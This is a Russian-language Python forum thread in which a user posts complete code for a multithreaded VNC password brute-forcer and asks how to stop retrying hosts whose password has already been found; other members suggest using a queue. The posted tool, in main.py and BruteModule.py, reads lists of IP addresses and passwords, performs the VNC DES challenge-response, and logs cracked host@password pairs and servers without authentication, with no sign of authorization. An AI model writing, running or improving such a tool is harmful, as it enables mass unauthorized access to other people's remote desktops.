Уведомления

Группа в Telegram: @pythonsu

#1 Июль 23, 2017 20:56:52

Mr.Anderson
Зарегистрирован: 2015-02-06
Сообщения: 57
Репутация: +  0  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.

Приветстувю всех. Писал для себя переборщик паролей и наткнулся на проблему. Суть проблемы:
Когда часть программы отвечающая за проверку пароля, к хосту получает валидный результат, она его запыссывает в файл. С этим все хорошо. Но после этого, программа все еще продолжает подбирать пароли к уже готовому хосту. Как сделать так, что бы хост, к которому пароль подобран, больше не проверялся?

Вот два файла которые все делают.

main.py

 from multiprocessing import Pool
from moduls.BruteModule import BruteModule, GoodException
import argparse
class MainBruteVNC(object):
    def __init__(self, ipFile, passwordFile, outFile, threadsCount, port, processCount=2):
        self.ipFile = ipFile
        self.outFile = outFile
        self.port = port
        self.threadsCount = threadsCount
        self.processCount = processCount
        self.passwordFile = passwordFile
    def buildPasswordList(self):
        f = open(self.passwordFile, 'r').readlines()
        passList = []
        for p in f:
            passList.append(p.rstrip())
        return passList
    def buildIpList(self):
        f = open(self.ipFile, 'r').readlines()
        ipList = []
        for ip in f:
            ipList.append(ip.rstrip())
        return ipList
    def mainBrute(self, password):
        bruteVNC = BruteModule(self.ipList, self.outFile, password, self.port, self.threadsCount)
        bruteVNC.runTestIp()
    def runMainBrute(self):
        self.ipList = self.buildIpList()
        pool = Pool(self.processCount)
        passwordList = self.buildPasswordList()
        pool.map(self.mainBrute, passwordList)
        pool.close()
        pool.join()
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("-H", help="Hosts File", type=str)
    parser.add_argument("-P", help="Passwords File", type=str)
    parser.add_argument("-O", help="Out File", type=str)
    parser.add_argument("-T", help="Threads Count", type=int)
    parser.add_argument("-Po", help="Port", type=int)
    parser.add_argument("-Pc", help="Process Count", type=int)
    args = parser.parse_args()
    mainBrute = MainBruteVNC(args.H, args.P, args.O, args.T, args.Po, args.Pc)
    mainBrute.runMainBrute()

BruteModule.py
 import socket
from Crypto.Cipher import DES
from multiprocessing.dummy import Pool
class GoodException(Exception):
    def __init__(self, ip):
        Exception.__init__(self)
        self.ip = ip
class BruteModule(object):
    def __init__(self, ipList, outFile, password, port, threadsCount):
        self.ipList = ipList
        self.outFile = outFile
        self.password = password
        self.port = port
        self.threadsCount = threadsCount
    def writeResult(self, ip, password):
        f = open(self.outFile, 'a')
        f.write(ip + '@' + password + '\n')
        f.close()
    def writeResultNoAuth(self, result):
        f = open('NoAuthVNC.txt')
        try:
            f.write(result + '\n')
            f.close()
        except Exception:
            f.close()
    def genKey(self, key):
        newkey = []
        for ki in range(len(key)):
            bsrc = ord(key[ki])
            btgt = 0
            for i in range(8):
                if bsrc & (1 << i):
                    btgt = btgt | (1 << 7 - i)
            newkey.append(btgt)
        return bytes(newkey)
    def testIp(self, ip):
        print('Try ip: ' + ip + ' Password: ' + self.password)
        try:
            vnc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            vnc.settimeout(2)
            vnc.connect((ip, self.port))
            vnc_ver = vnc.recv(12)
            vnc.send(vnc_ver)
            vncres = vnc.recv(1024)
        except Exception:
            return False
        if b'\x02' in vncres:
            try:
                vnc.send(b'\x02')
                vncres = vnc.recv(99)
                pw = self.password.ljust(8, '\x00')[:8]
                key = self.genKey(pw)
                des = DES.new(key, DES.MODE_ECB)
                enc = des.encrypt(vncres)
                vnc.send(enc)
                res = vnc.recv(99)
                vnc.close()
            except Exception:
                return False
            if b'\x00\x00\x00\x00' in res:
                print('Good server: IP' + ip + '@' + self.password)
                self.writeResult(ip, self.password)
                # raise GoodException(ip)
            else:
                return False
        else:
            self.writeResultNoAuth(ip)
    def runTestIp(self):
        pool = Pool(self.threadsCount)
        pool.map(self.testIp, self.ipList)
        pool.close()
        pool.join()

Офлайн

#2 Июль 23, 2017 21:02:25

sander
Зарегистрирован: 2015-02-19
Сообщения: 317
Репутация: +  53  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.

сделай очередь со всеми паролями, откуда воркеры черпают пароли для проверки, вместо одинакового списка каждому воркеру

Офлайн

#3 Июль 23, 2017 21:04:12

Mr.Anderson
Зарегистрирован: 2015-02-06
Сообщения: 57
Репутация: +  0  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.

sander
сделай очередь со всеми паролями, откуда воркеры черпают пароли для проверки, вместо одинакового списка каждому воркеру
Я так понимаю, там нужна библиотека queue?

Офлайн

#4 Июль 23, 2017 21:43:01

JOHN_16
От: Россия, Петропавловск-Камчатск
Зарегистрирован: 2010-03-22
Сообщения: 3292
Репутация: +  221  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.

да, у меня в блоге (ссылка ниже) есть на русском перевод доки и примеры



_________________________________________________________________________________
полезный блог о python john16blog.blogspot.com

Офлайн

#5 Июль 23, 2017 21:49:38

Mr.Anderson
Зарегистрирован: 2015-02-06
Сообщения: 57
Репутация: +  0  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.

JOHN_16
да, у меня в блоге (ссылка ниже) есть на русском перевод доки и примеры
Ну вот по вашему блогу и пытаюсь подобрать наиболее подходящий пример.
Очень полезную вещь вы сделали)

Офлайн

#6 Июль 23, 2017 22:12:34

Mr.Anderson
Зарегистрирован: 2015-02-06
Сообщения: 57
Репутация: +  0  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.

Допустим получился у меня такой вот код

 from queue import Queue
from threading import Thread
import requests
threads = 30
def response(url):
    try:
        res = requests.get(url, timeout=2).status_code
        print(url + ' : ' + str(res))
    except Exception:
        print('Error')
def worker():
    while True:
        url = q.get()
        response(url)
        q.task_done()
def genUrl():
    f = open('sites.txt', 'r').readlines()
    sites = []
    for s in f:
        sites.append(s.rstrip())
    uniqsites = list(set(sites))
    for i in uniqsites:
        yield i
q = Queue()
for i in range(threads):
    t = Thread(target=worker)
    t.setDaemon(True)
    t.start()
for url in genUrl():
    q.put(url)
q.join()

Допустим, что это всего лишь кусок из более большой программы. И что этот кусок, будет выполняться дважды или трижды. И предположим, что в нем будет условие, которое проверят, равен ли адрес сайта из списка "http://google.com" и если равен, то программа должна удалить его из списка, что бы при следующем запуске в списке очереди, не было адреса 'http://google.com'
Как реализовать подобное?

Офлайн

#7 Июль 24, 2017 00:14:25

sander
Зарегистрирован: 2015-02-19
Сообщения: 317
Репутация: +  53  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.


Mr.Anderson
Допустим, что это всего лишь кусок из более большой программы. И что этот кусок, будет выполняться дважды или трижды. И предположим, что в нем будет условие, которое проверят, равен ли адрес сайта из списка "http://google.com" и если равен, то программа должна удалить его из списка, что бы при следующем запуске в списке очереди, не было адреса 'http://google.com'
Как реализовать подобное?

если правильно понял вопрос, то тебе нужно записывать куда нибудь результаты (условно, хорошие и плохие) выполнения программы. При следующем старте загружать только плохие

Офлайн

#8 Июль 24, 2017 00:56:08

Mr.Anderson
Зарегистрирован: 2015-02-06
Сообщения: 57
Репутация: +  0  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.

sander
Не не. С записью результатов все окей. Мне надо, что бы после получения положительного результата, на хост, этот хост больше не проверялся. Грубо говоря, выкинуть его из очереди.

Офлайн

#9 Июль 24, 2017 10:20:42

sander
Зарегистрирован: 2015-02-19
Сообщения: 317
Репутация: +  53  -
Профиль   Отправить e-mail  

Прошу помощи в вопросе многопоточности.

Mr.Anderson
q.get() удаляет первый елемент из очереди и возвращает его

Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version